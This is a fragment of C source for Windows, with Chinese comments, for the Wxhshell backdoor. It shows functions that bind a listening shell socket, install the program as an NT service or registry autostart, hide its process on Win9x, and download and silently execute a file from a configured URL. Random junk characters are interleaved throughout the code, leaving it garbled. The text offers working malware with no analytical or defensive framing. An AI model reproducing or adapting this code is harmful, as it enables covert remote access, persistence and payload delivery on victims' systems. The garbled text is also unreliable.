s&iu+> kkIG{Bw CloseHandle(hProcess); x~ID[ AquO#A[,# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f\?1oMO\ if(hProcess==NULL) return 0; bO*hmDt v0( _4U]/ HMODULE hMod; 2O}X-/H char procName[255]; 0j2mTF(C unsigned long cbNeeded; [QIQpBL m^ /s}WEqp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JfRLqA/ ?DE{4Ti/[ CloseHandle(hProcess);
akG|ic-~ n}C0gt- if(strstr(procName,"services")) return 1; // 以服务启动
i (`Q{l IEe;ygL# return 0; // 注册表启动 'vV+Wu#[ } JkQ\r$Y. n5y0$S/D // 主模块 y+
4#Iy int StartWxhshell(LPSTR lpCmdLine) K j~!E
H" { }l&y8,[: SOCKET wsl; 6,!$S2(zT BOOL val=TRUE; !{CaW4 int port=0; )<$<9!L4x struct sockaddr_in door; p!EG:B4 Z=
=c3~ if(wscfg.ws_autoins) Install(); yZ)-=H p^w_-(p port=atoi(lpCmdLine); H`,t "I b#*"eZj if(port<=0) port=wscfg.ws_port; t]T't=' G[=;519 WSADATA data; tYG6Gl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =
toU?:. xyHv7u%* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S263h(H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bc;?O`I< door.sin_family = AF_INET; o*3\xg door.sin_addr.s_addr = inet_addr("127.0.0.1"); kG5Uc83#G door.sin_port = htons(port); "-\8Y>E CSH*^nk':O if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !b$]D?=} closesocket(wsl); I|Mw*2U return 1; qfRrX" } )x35
u
$B24Cy. if(listen(wsl,2) == INVALID_SOCKET) { :m36{# closesocket(wsl); qC3PKlhv6 return 1; 1k`gr&S } 1Beh&pl^ Wxhshell(wsl); )$K\:w> WSACleanup(); xIH= gK 5=b6B=\*~ return 0; fu?u~QZ8 ?J-D6; } 03_M+lv AW'$5NF> // 以NT服务方式启动 Gzwb<e
y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .*Bd'\:F/q { {Es1bO DWORD status = 0; >U(E
\`9D DWORD specificError = 0xfffffff; !%B-y9\ 9m<%+S5& serviceStatus.dwServiceType = SERVICE_WIN32; U;*O7K=P serviceStatus.dwCurrentState = SERVICE_START_PENDING; ce*?crOV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kw2]J)TO serviceStatus.dwWin32ExitCode = 0; L* ScSxw serviceStatus.dwServiceSpecificExitCode = 0; p.H`lbVY serviceStatus.dwCheckPoint = 0; IJC]Al,df serviceStatus.dwWaitHint = 0; "1`w>(= i^8w0H<-@v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /B|"<`-H if (hServiceStatusHandle==0) return; CAmIwAx6; ff=RKKnN status = GetLastError(); k5*Z@a if (status!=NO_ERROR) A|GsbRuy { ,c
0]r;u! serviceStatus.dwCurrentState = SERVICE_STOPPED; 5bd4]1gj serviceStatus.dwCheckPoint = 0; VV sE]7P ] serviceStatus.dwWaitHint = 0; Lhrlz,1 serviceStatus.dwWin32ExitCode = status; t^}"8 serviceStatus.dwServiceSpecificExitCode = specificError;
y|NY,{:] SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@i|=xS? return; MO|Pv j~[ } ,@I\'os GIfs]zVr` serviceStatus.dwCurrentState = SERVICE_RUNNING; Z-yoJZi serviceStatus.dwCheckPoint = 0; 5kA D vi. serviceStatus.dwWaitHint = 0; 5DO}&%.xt if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vy^mEsQC+h }
@1U6sQ [z6P]eC7 // 处理NT服务事件,比如:启动、停止 :Zo^Uc:*w VOID WINAPI NTServiceHandler(DWORD fdwControl) b<[]z, { eR/X9< switch(fdwControl) ,b?G]WQrHs { :a:m>S<~ case SERVICE_CONTROL_STOP: +n)bWB% serviceStatus.dwWin32ExitCode = 0; *}_i[6_\E serviceStatus.dwCurrentState = SERVICE_STOPPED; WI.+9$1:P serviceStatus.dwCheckPoint = 0; %IDl+_j serviceStatus.dwWaitHint = 0; (`u+(M!^ { .4[M-@4+] SetServiceStatus(hServiceStatusHandle, &serviceStatus); ylDfr){ } @}uo:b:Q return; 44KWS~ case SERVICE_CONTROL_PAUSE: j&b<YPZ serviceStatus.dwCurrentState = SERVICE_PAUSED; _Y$v=!fY& break; <p +7,aE_ case SERVICE_CONTROL_CONTINUE: %eGD1.R serviceStatus.dwCurrentState = SERVICE_RUNNING; M'oQ<,yW- break; Xn5LrLM& case SERVICE_CONTROL_INTERROGATE: c{39,oF break; ]7RK/Zu i }; nA%8
bZ+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); XpA|<s } &)|f|\yh" F=f9##Y?7M // 标准应用程序主函数 )i\foSbB`V int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ldc`Y/:{ { (a~V<v" Yp8XZ3 // 获取操作系统版本 ,mK UCG OsIsNt=GetOsVer(); /Ao.b|mm GetModuleFileName(NULL,ExeFile,MAX_PATH); #qJ6iA6{ 6Q&i=!fQ // 从命令行安装 &4)PW\ioY if(strpbrk(lpCmdLine,"iI")) Install(); 0UGAc]!/RZ 238z'I+$G/ // 下载执行文件 5bsv05=e if(wscfg.ws_downexe) { i98PlAq)B if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +eop4 |Z WinExec(wscfg.ws_filenam,SW_HIDE); y+izC+ } A2Iqn5 g91xUG if(!OsIsNt) { L Z3=K`gj // 如果时win9x,隐藏进程并且设置为注册表启动 >feeVk HideProc(); 8^R~qpg% StartWxhshell(lpCmdLine); $N|Spp0 } RLGIST` else %6Y}0>gY if(StartFromService()) Ie8SPNY-H // 以服务方式启动 q~X}&}UT StartServiceCtrlDispatcher(DispatchTable); B*^QTJ else L:jv%;DM // 普通方式启动 F$9+WS`c StartWxhshell(lpCmdLine); cCIs~*D +!G)N~o return 0; MW=rX>tE }
|